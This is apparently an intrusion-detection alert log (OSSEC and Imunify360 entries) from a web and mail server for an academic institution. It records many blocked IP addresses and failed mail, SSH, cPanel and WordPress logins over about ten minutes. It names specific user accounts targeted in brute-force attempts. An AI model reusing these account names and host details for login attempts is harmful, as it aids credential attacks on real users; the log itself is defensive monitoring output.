name: Imunify PAM. The IP has been locked by RBL
abuser: 220.180.171.185
description:
Jan 26 19:58:21 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.180.171.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.255.143.123
description:
Jan 26 19:58:39 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.255.143.123 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.160.166.237
description:
2025-01-26 19:58:41 dovecot_plain authenticator failed for (237-166.adsl.static.espeed.com.bn) [119.160.166.237]:50250: 535 Incorrect authentication data (set_id=ads18b00173y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.188.196.133
description:
Jan 26 19:58:48 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.188.196.133 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.68.38.78
description:
Jan 26 19:58:03 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.68.38.78 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.123.40.94
description:
Jan 26 19:58:20 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.123.40.94 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.123.40.94
description:
2025-01-26 19:58:22 dovecot_plain authenticator failed for (124.123.40.94.actcorp.in) [124.123.40.94]:2723: 535 Incorrect authentication data (set_id=eng20a00052y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.180.171.185
description:
2025-01-26 19:58:23 dovecot_plain authenticator failed for ([220.180.171.185]) [220.180.171.185]:39167: 535 Incorrect authentication data (set_id=ads18b00173y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.145.171.159
description:
Jan 26 19:58:50 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.145.171.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.145.171.159
description:
2025-01-26 19:58:52 dovecot_login authenticator failed for ([192.145.171.159]) [192.145.171.159]:58026: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.122.157.193
description:
Jan 26 19:59:19 ait sshd[2424596]: pam_imunify(sshd:auth): [IM360_RBL] The IP 116.122.157.193 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 185.82.177.105
description:
[2025-01-26 19:59:24 +0100] info [webmaild] 185.82.177.105 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 201.218.159.73
description:
[2025-01-26 19:59:28 +0100] info [webmaild] 201.218.159.73 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.149.70.142
description:
Jan 26 19:59:30 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.149.70.142 has been locked due to Imunify RBL


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 116.122.157.193
description:
Jan 26 19:59:19 ait sshd[2424596]: Invalid user universitypublishing from 116.122.157.193 port 38788


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 116.122.157.193
description:
Jan 26 19:59:19 ait sshd[2424596]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=116.122.157.193


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.79.57.221
description:
Jan 26 19:59:14 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.79.57.221 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.79.57.221
description:
2025-01-26 19:59:16 dovecot_plain authenticator failed for ([95.79.57.221]) [95.79.57.221]:60964: 535 Incorrect authentication data (set_id=ads20a00227y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.70.142
description:
2025-01-26 19:59:32 dovecot_plain authenticator failed for ([218.149.70.142]) [218.149.70.142]:51738: 535 Incorrect authentication data (set_id=ads20a00227y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.176.189
description:
Jan 26 19:59:37 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.176.189 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.189
description:
2025-01-26 19:59:39 dovecot_login authenticator failed for ([111.61.176.189]) [111.61.176.189]:27516: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 70.118.112.230
description:
Jan 26 19:58:59 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 70.118.112.230 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.118.112.230
description:
2025-01-26 19:59:01 dovecot_plain authenticator failed for syn-070-118-112-230.biz.spectrum.com [70.118.112.230]:43973: 535 Incorrect authentication data (set_id=eng18b00217y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.156.136.239
description:
2025-01-26 20:00:00 dovecot_login authenticator failed for (static-97.224.143.114-tataidc.co.in) [182.156.136.239]:13580: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.249.1.82
description:
Jan 26 20:00:37 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.249.1.82 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.249.1.82
description:
2025-01-26 20:00:39 dovecot_plain authenticator failed for ([183.249.1.82]) [183.249.1.82]:52035: 535 Incorrect authentication data (set_id=eng18b00217y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.49.180
description:
2025-01-26 20:00:38 dovecot_plain authenticator failed for 111-70-49-180.emome-ip.hinet.net [111.70.49.180]:38948: 535 Incorrect authentication data (set_id=fusheini@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.156.136.239
description:
Jan 26 19:59:58 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.156.136.239 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.224.217.226
description:
[2025-01-26 20:00:16 +0100] info [webmaild] 45.224.217.226 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.49.180
description:
Jan 26 20:00:36 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.49.180 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 26 20:00:02 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.153.247
description:
2025-01-26 20:00:20 dovecot_plain authenticator failed for (m121-202-153-247.smartone.com) [121.202.153.247]:36793: 535 Incorrect authentication data (set_id=eng18b00217y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.53.235.246
description:
2025-01-26 20:00:51 dovecot_plain authenticator failed for h77-53-235-246.cust.bredband2.com [77.53.235.246]:33048: 535 Incorrect authentication data (set_id=fusheini)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.153.247
description:
Jan 26 20:00:18 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.153.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.53.235.246
description:
Jan 26 20:00:49 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.53.235.246 has been locked due to Imunify RBL


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 116.202.116.74
domain: ait-open.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:Administrarot||WPU:Administrarot||RSV:6.65||T:APACHE||MV:20-00.116.202.116.74


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.200.218
description:
2025-01-26 20:01:06 dovecot_plain authenticator failed for ([121.202.200.218]) [121.202.200.218]:58054: 535 Incorrect authentication data (set_id=botchway@ait.edu.gh)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.231.56.128
description:
Jan 26 20:01:09 ait sshd[2425732]: pam_imunify(sshd:auth): [IM360_RBL] The IP 111.231.56.128 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.118.126.99
description:
Jan 26 20:01:44 ait sshd[2425985]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.118.126.99 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.212.0.130
description:
2025-01-26 20:01:46 dovecot_plain authenticator failed for ([123.212.0.130]) [123.212.0.130]:38758: 535 Incorrect authentication data (set_id=edonkor)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 166.145.160.128
description:
Jan 26 20:01:08 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 166.145.160.128 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 111.231.56.128
description:
Jan 26 20:01:09 ait sshd[2425732]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=111.231.56.128


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 166.145.160.128
description:
2025-01-26 20:01:10 dovecot_plain authenticator failed for 128.sub-166-145-160.myvzw.com [166.145.160.128]:36500: 535 Incorrect authentication data (set_id=edonkor@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.16.170.117
description:
Jan 26 20:01:12 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.16.170.117 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.212.0.130
description:
Jan 26 20:01:44 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.212.0.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.200.218
description:
Jan 26 20:01:04 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.200.218 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 38.50.167.64
description:
[2025-01-26 20:01:04 +0100] info [webmaild] 38.50.167.64 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.16.170.117
description:
2025-01-26 20:01:14 dovecot_plain authenticator failed for ip117.net-81-16-170.koping.net [81.16.170.117]:34078: 535 Incorrect authentication data (set_id=botchway)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.118.126.99
description:
Jan 26 20:01:44 ait sshd[2425985]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.118.126.99  user=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.247.127.251
description:
Jan 26 20:02:45 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.247.127.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.247.127.251
description:
2025-01-26 20:02:47 dovecot_plain authenticator failed for ([211.247.127.251]) [211.247.127.251]:59296: 535 Incorrect authentication data (set_id=ads21b00213y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.54.115.46
description:
2025-01-26 20:01:59 dovecot_plain authenticator failed for ([84.54.115.46]) [84.54.115.46]:43136: 535 Incorrect authentication data (set_id=sng26b99239y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.75.24.107
description:
2025-01-26 20:02:06 dovecot_plain authenticator failed for vps-79f20bfc.vps.ovh.net ([87.98.249.193]) [51.75.24.107]:20223: 535 Incorrect authentication data (set_id=sng26b99239y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.214.143.152
description:
[2025-01-26 20:02:10 +0100] info [webmaild] 177.214.143.152 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.10.79.34
description:
2025-01-26 20:02:23 dovecot_plain authenticator failed for ([59.10.79.34]) [59.10.79.34]:35594: 535 Incorrect authentication data (set_id=ads21b00213y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.54.115.46
description:
Jan 26 20:01:57 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.54.115.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.75.24.107
description:
Jan 26 20:02:04 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.75.24.107 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.10.79.34
description:
Jan 26 20:02:21 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.10.79.34 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 138.36.24.33
description:
2025-01-26 20:03:24 dovecot_plain authenticator failed for ([138.36.24.33]) [138.36.24.33]:59966: 535 Incorrect authentication data (set_id=abs19a00020y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.84.158.215
description:
2025-01-26 20:03:44 dovecot_plain authenticator failed for broadband-95-84-158-215.ip.moscow.rt.ru [95.84.158.215]:52717: 535 Incorrect authentication data (set_id=assdas3@ait.edu.gh)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.122.157.193
description:
Jan 26 20:03:12 ait sshd[2426549]: pam_imunify(sshd:auth): [IM360_RBL] The IP 116.122.157.193 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 116.122.157.193
description:
Jan 26 20:03:12 ait sshd[2426549]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=116.122.157.193  user=gvu


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.230.165.58
description:
2025-01-26 20:03:14 dovecot_plain authenticator failed for ([183.230.165.58]) [183.230.165.58]:33410: 535 Incorrect authentication data (set_id=abs19a00020y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.36.24.33
description:
Jan 26 20:03:22 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.36.24.33 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.84.158.215
description:
Jan 26 20:03:42 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.84.158.215 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.230.165.58
description:
Jan 26 20:03:12 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.230.165.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.53.111.65
description:
Jan 26 20:04:46 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.53.111.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.174.40.155
description:
Jan 26 20:04:16 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.174.40.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.88.228.202
description:
Jan 26 20:04:20 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.88.228.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.228.225.21
description:
Jan 26 20:04:27 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.228.225.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.134.3.252
description:
2025-01-26 20:04:33 dovecot_plain authenticator failed for syn-072-134-003-252.res.spectrum.com [72.134.3.252]:39672: 535 Incorrect authentication data (set_id=ads20b00337y)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 210.180.118.166
description:
Jan 26 20:04:39 ait sshd[2427117]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=210.180.118.166  user=root


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.205.197
description:
2025-01-26 20:04:40 dovecot_plain authenticator failed for ([65.20.205.197]) [65.20.205.197]:58005: 535 Incorrect authentication data (set_id=bscj19bit0046y)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 156.229.233.219
description:
Jan 26 20:04:44 ait sshd[2427135]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=156.229.233.219


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.53.111.65
description:
2025-01-26 20:04:48 dovecot_plain authenticator failed for h77-53-111-65.cust.bredband2.com [77.53.111.65]:37210: 535 Incorrect authentication data (set_id=eng21a00038y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.69.163.53
description:
Jan 26 20:04:23 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.69.163.53 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.240.210
description:
Jan 26 20:04:03 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.240.210 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.240.210
description:
2025-01-26 20:04:05 dovecot_plain authenticator failed for (nsg-corporate-210.240.187.122.airtel.in) [122.187.240.210]:43194: 535 Incorrect authentication data (set_id=assdas3)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.69.163.53
description:
2025-01-26 20:04:25 dovecot_plain authenticator failed for ([102.69.163.53]) [102.69.163.53]:38616: 535 Incorrect authentication data (set_id=bscj19bit0046y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.134.3.252
description:
Jan 26 20:04:31 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.134.3.252 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.180.118.166
description:
Jan 26 20:04:39 ait sshd[2427117]: pam_imunify(sshd:auth): [IM360_RBL] The IP 210.180.118.166 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 156.236.111.18
description:
Jan 26 20:04:52 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 156.236.111.18 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.174.40.155
description:
2025-01-26 20:04:18 dovecot_plain authenticator failed for ([60.174.40.155]) [60.174.40.155]:36846: 535 Incorrect authentication data (set_id=fusheini@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.88.228.202
description:
2025-01-26 20:04:22 dovecot_plain authenticator failed for ([14.88.228.202]) [14.88.228.202]:40882: 535 Incorrect authentication data (set_id=ads20b00337y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.228.225.21
description:
2025-01-26 20:04:29 dovecot_plain authenticator failed for ([122.228.225.21]) [122.228.225.21]:57720: 535 Incorrect authentication data (set_id=fusheini)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.205.197
description:
Jan 26 20:04:38 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.205.197 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.0.252.72
description:
2025-01-26 20:05:24 dovecot_plain authenticator failed for ([95.0.252.72]) [95.0.252.72]:53014: 535 Incorrect authentication data (set_id=vondee)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.236.111.18
description:
2025-01-26 20:04:54 dovecot_plain authenticator failed for ([156.236.111.18]) [156.236.111.18]:52012: 535 Incorrect authentication data (set_id=vondee@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.206.34.142
description:
Jan 26 20:04:56 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.206.34.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.206.34.142
description:
2025-01-26 20:04:58 dovecot_plain authenticator failed for ([119.206.34.142]) [119.206.34.142]:54584: 535 Incorrect authentication data (set_id=eng21a00038y)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 65.0.27.59
domain: iric.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:20-04.65.0.27.59


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.252.72
description:
Jan 26 20:05:22 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.252.72 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 37.77.73.51
description:
[2025-01-26 20:06:14 +0100] info [webmaild] 37.77.73.51 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.181.90.253
description:
Jan 26 20:05:57 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.181.90.253 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.181.90.253
description:
2025-01-26 20:05:59 dovecot_plain authenticator failed for ([45.181.90.253]) [45.181.90.253]:53881: 535 Incorrect authentication data (set_id=awadzie@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.249.1.72
description:
2025-01-26 20:06:09 dovecot_plain authenticator failed for ([183.249.1.72]) [183.249.1.72]:34932: 535 Incorrect authentication data (set_id=awadzie)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.249.1.72
description:
Jan 26 20:06:07 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.249.1.72 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.187.50.49
description:
Jan 26 20:07:10 ait sshd[2428393]: pam_imunify(sshd:auth): [IM360_RBL] The IP 185.187.50.49 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 185.187.50.49
description:
Jan 26 20:07:10 ait sshd[2428393]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=185.187.50.49  user=root


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.155.34
description:
2025-01-26 20:08:15 dovecot_plain authenticator failed for (m121-202-155-34.smartone.com) [121.202.155.34]:34512: 535 Incorrect authentication data (set_id=ads21b00277y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.48.104.200
description:
Jan 26 20:08:24 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.48.104.200 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.242.149.240
description:
2025-01-26 20:08:37 dovecot_plain authenticator failed for c-69-242-149-240.hsd1.mo.comcast.net [69.242.149.240]:58720: 535 Incorrect authentication data (set_id=ads20b00337y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.18.90.114
description:
Jan 26 20:08:40 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.18.90.114 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.18.90.114
description:
2025-01-26 20:08:42 dovecot_plain authenticator failed for ([58.18.90.114]) [58.18.90.114]:32991: 535 Incorrect authentication data (set_id=ads21b00277y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.188.149.243
description:
Jan 26 20:08:08 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.188.149.243 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.188.149.243
description:
2025-01-26 20:08:10 dovecot_plain authenticator failed for (scz-181-188-149-00243.tigo.bo) [181.188.149.243]:56078: 535 Incorrect authentication data (set_id=ads20b00297y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.155.34
description:
Jan 26 20:08:13 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.155.34 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.48.104.200
description:
2025-01-26 20:08:26 dovecot_plain authenticator failed for ([112.48.104.200]) [112.48.104.200]:60779: 535 Incorrect authentication data (set_id=ads20b00297y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 69.242.149.240
description:
Jan 26 20:08:35 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 69.242.149.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.150.213.239
description:
Jan 26 20:08:46 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.150.213.239 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.150.213.239
description:
2025-01-26 20:08:48 dovecot_plain authenticator failed for ([103.150.213.239]) [103.150.213.239]:38543: 535 Incorrect authentication data (set_id=ads20b00337y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.70.158.32
description:
Jan 26 20:09:28 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.70.158.32 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.18.90.114
description:
Jan 26 20:09:03 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.18.90.114 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.166.31.198
description:
2025-01-26 20:09:07 dovecot_plain authenticator failed for ([60.166.31.198]) [60.166.31.198]:35145: 535 Incorrect authentication data (set_id=ads18b00134y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.70.158.32
description:
2025-01-26 20:09:30 dovecot_plain authenticator failed for ([1.70.158.32]) [1.70.158.32]:50224: 535 Incorrect authentication data (set_id=mumuni)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.15.84.229
description:
Jan 26 20:09:06 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.15.84.229 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.125.94.195
description:
Jan 26 20:09:11 ait sshd[2428981]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.125.94.195


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.149.142.21
description:
Jan 26 20:09:18 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.149.142.21 has been locked due to Imunify RBL


